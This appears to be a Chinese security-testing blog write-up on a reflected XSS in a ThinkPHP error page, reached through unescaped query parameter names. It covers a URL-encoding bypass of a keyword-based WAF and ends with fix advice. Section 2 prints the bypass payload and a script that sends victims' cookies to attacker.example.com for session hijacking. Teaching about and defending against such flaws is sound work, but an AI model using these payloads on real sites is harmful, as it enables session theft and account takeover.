在一次安全测试中,我发现目标站点在错误处理页面对用户输入的查询参数名未做任何转义,当参数名中包含 <script> 标签时,页面会原样渲染并执行其中的 JavaScript。本文将从实战角度,详细讲解如何定位该反射型 XSS 漏洞、通过 URL 编码绕过 WAF 拦截,以及最终利用 PoC 在浏览器端触发 alert 弹窗的全过程。
一、漏洞定位与原理
1.访问错误页面及确认反射点:
对某网址 https://xxxxxxx/index/newslist/newsinfo.html 加入任意参数(如 ?foo=1),触发 ThinkPHP 抛出异常的错误页,并在“GET Data”区域看到未转义的 foo,发现加入的任意参数直接反映在文本元素,表明 ThinkPHP 将 GET 参数名当作方法参数名并渲染到模板中,由此定位源码位置。
2.错误位点代码刨析及进一步测试:
2.1 错误页面中“GET Data”渲染位置
<div class="exception-var">
<h3 class="subheading">GET Data</h3>
<div class="clearfix">
<div class="col-md-3"><strong>foo</strong></div>
<div class="col-md-9"><small>1</small></div>
</div>
…
</div>
<strong>foo</strong>
正是用户在 URL 中以 ?foo=1 提交的参数名被原样输出的位置。
该 <strong> 标签位于 <body> 内容区,浏览器会将其中的内容当作合法 HTML 片段直接渲染。
2.2 反射点触发测试及WAF绕过机制
HTML 元素内容(Element Content),不在属性或 JavaScript 字符串里,若将 foo 替换成
<script>alert(1)</script>
则页面会直接触发网络防火墙的拦截机制,这里被“G01”WAF 拦截,返回提示“含有不合法的参数”。:
到这里我就在思考:既然 WAF 的“G01”规则是基于对 <script>
onerror 等经典 XSS 特征关键字的简单匹配的通用规则。当你发出含有 <script> 关键字的请求时,WAF 会直接拦截并返回“含有不合法参数”的提示。只要我的 payload 中保留了这几个字符,都会被拦截,那么我是否可以通过对 <
、>
、(
、)
等关键字符做 URL 编码或者大小写混合,来“隐身”进入服务器而不触发规则?首先,我想到对整个标签进行百分号编码:
%3Cscript%3Ealert(1)%3C%2Fscript%3E
将这段编码后的字符串放到参数名的位置,构造 URL:
https://…/newsinfo.html?%3Cscript%3Ealert(1)%3C%2Fscript%3E=1
似乎依然会被拦截。
G01 规则多是大小写不敏感的,但对连续关键字匹配敏感,我们再次针对以上URL中(1)进行URL编码根据Unicode规则%28为
(
%29为
)
所以构造的URL编码为:
?%3Cscript%3Ealert%281%29%3C%2Fscript%3E=1
其解码等同于
<script>alert(1)</script>=1
当这段 <script>alert(1)</script> 被服务器“原样”反射到页面上,并且未做任何转义时,浏览器就会执行它。至此我们再次访问该地址
表明WAF 绕过成功且XSS 漏洞已被成功利用,服务器没有对用户输入的 <script> 标签做任何过滤或转义,直接反射到页面,浏览器正常执行了脚本。alert(1) 这行 JavaScript 的效果是弹出对话框,显示数字 1。所以你看到的弹窗内容是 “1”,而不是字面上的 alert(1)。
alert() 函数把它的参数原样当作要显示的内容。你传进去的是数字 1,所以弹窗只显示 1。如果你想验证文字“XSS被执行",可以改成:
如果有非法分子利用医疗机构挂号预订网站的类似漏洞,通过远程劫持,即可构造出具有欺诈性的界面,并同时结合社会工程学手段进行进一步攻击。此处给出一个简单的恶意信息例如:
由此可见,WAF 仅基于简单关键字匹配,缺乏对 URL 解码与多样化 payload 的深入检测,而后端又未对反射点做任何输出转义,于是绕过与利用便水到渠成。
2.3 进一步确认与远程劫持
在成功压制 WAF 拦截后,我进一步在 DevTools → Elements 中确认,页面的 DOM 结构正如预期:
并且在 Console 标签页中能看到 alert 的日志,说明脚本已完整执行。这不仅意味着反射型 XSS 漏洞确实存在,而且由于篡改发生在参数名层面,更难以通过常规的参数值过滤策略检测到。
利用此反射型 XSS 漏洞,攻击者只需将如下恶意脚本作为参数名注入,即可在受害者浏览器中自动窃取其会话 Cookie 并上报到自己可控的服务器,从而实现远程会话劫持:
<script>
new Image().src="https://attacker.example.com/steal?cookie="+encodeURIComponent(document.cookie);
</script>
具体流程是:当受害者点击含有
%3Cscript%3Enew Image().src%3D%22https%3A%2F%2Fattacker.example.com%2Fsteal%3Fcookie%3D%22%2BencodeURIComponent(document.cookie)%3B%3C%2Fscript%3E
的恶意链接后,浏览器会执行该脚本,将其 Cookie 以 GET 请求的形式发送给攻击者;然后攻击者只需在自己的脚本服务器(例如 attacker.example.com)上监听并记录来访请求,就能获得该用户的 SessionID 或认证令牌,使用这些令牌伪造合法请求,以该用户身份在目标站点进行任意操作,完成远程会话劫持。
3.漏洞根源:
源码显示,这段逻辑源于 ThinkPHP 在抛出 InvalidArgumentException('method param miss:'.$name) 后渲染异常变量时,直接将 $name(即查询参数名)拼入 HTML:
缺少 htmlspecialchars($key, ENT_QUOTES, 'UTF-8') 之类的实体化处理。导致任意 HTML 标签或 JavaScript 片段都可通过参数名被注入并执行。
4. 后记-修复建议:
小白的一次简单的测试,提不出什么好的意见,以下仅供参考:
首先应该在框架层对所有用户输入(包括查询参数名和值)统一使用 htmlspecialchars 等 HTML 实体化函数进行转义,并升级到最新 ThinkPHP 版本;在应用层严格采用参数白名单和类型校验,只接受预期字段,其余一律拒绝;在视图模板中统一使用转义过滤器输出动态内容;运维层通过配置严格的 Content Security Policy(CSP)禁止内联脚本,并精细化 WAF 规则,不再简单匹配 <script> 关键字。
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。